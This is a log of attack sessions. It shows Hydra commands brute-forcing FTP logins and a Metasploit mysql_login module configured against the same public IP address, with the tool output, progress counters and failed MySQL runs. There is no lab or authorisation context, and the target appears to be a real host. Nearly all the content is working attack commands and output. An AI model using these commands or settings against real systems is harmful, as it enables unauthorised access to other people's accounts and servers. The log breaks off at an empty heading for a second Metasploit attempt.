hydra brute force attempt 1:

```
└─$ hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt ftp://68.66.247.187            255 ×
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-02-01 07:15:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000000 login tries (l:10/p:1000000), ~625000 tries per task
[DATA] attacking ftp://68.66.247.187:21/
[STATUS] 61.00 tries/min, 61 tries in 00:01h, 9999939 to do in 2732:14h, 16 active
```

hydra brute force attempt 2:

```
└─$ hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt ftp://68.66.247.187
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-02-01 07:27:22
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, t
o prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000000 login tries (l:10/p:1000000), ~625000 tries per task
[DATA] attacking ftp://68.66.247.187:21/
[STATUS] 32.00 tries/min, 32 tries in 00:01h, 9999984 to do in 5208:20h, 16 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 9999937 to do in 5208:19h, 16 active
[STATUS] 32.00 tries/min, 224 tries in 00:07h, 9999809 to do in 5208:15h, 16 active
[STATUS] 30.87 tries/min, 463 tries in 00:15h, 9999570 to do in 5399:21h, 16 active
[STATUS] 30.13 tries/min, 934 tries in 00:31h, 9999099 to do in 5531:16h, 16 active
```

Metasploit brute froce attempt 1 (2 runs):

```
msf6 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting                Required  Description
   ----              ---------------                --------  -----------
   BLANK_PASSWORDS   true                           no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                              yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                          no        Try each user/password couple stored in the current da
                                                              tabase
   DB_ALL_PASS       false                          no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                          no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                           no        Skip existing credentials stored in the current databa
                                                              se (Accepted: none, user, user&realm)
   PASSWORD                                         no        A specific password to authenticate with
   PASS_FILE         /home/kali/Desktop/passwords.tx  no        File containing passwords, one per line
                     t
   Proxies                                          no        A proxy chain of format type:host:port[,type:host:port
                                                              ][...]
   RHOSTS            68.66.247.187                  yes       The target host(s), see https://github.com/rapid7/meta
                                                              sploit-framework/wiki/Using-Metasploit
   RPORT             3306                           yes       The target port (TCP)
   STOP_ON_SUCCESS   false                          yes       Stop guessing when a credential works for a host
   THREADS           1                              yes       The number of concurrent threads (max one per host)
   USERNAME          root                           no        A specific username to authenticate as
   USERPASS_FILE                                    no        File containing users and passwords separated by space
                                                              , one pair per line
   USER_AS_PASS      false                          no        Try the username as the password for all users
   USER_FILE                                        no        File containing usernames, one per line
   VERBOSE           true                           yes       Whether to print output for all attempts

msf6 auxiliary(scanner/mysql/mysql_login) > run

[-] 68.66.247.187:3306    - 68.66.247.187:3306 - Unsupported target version of MySQL detected. Skipping.
[*] 68.66.247.187:3306    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > run

[-] 68.66.247.187:3306    - 68.66.247.187:3306 - Unable to connect: The connection with (68.66.247.187:3306) timed out.
[*] 68.66.247.187:3306    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) >
```

Metasploit brute froce attempt 2 (2 runs):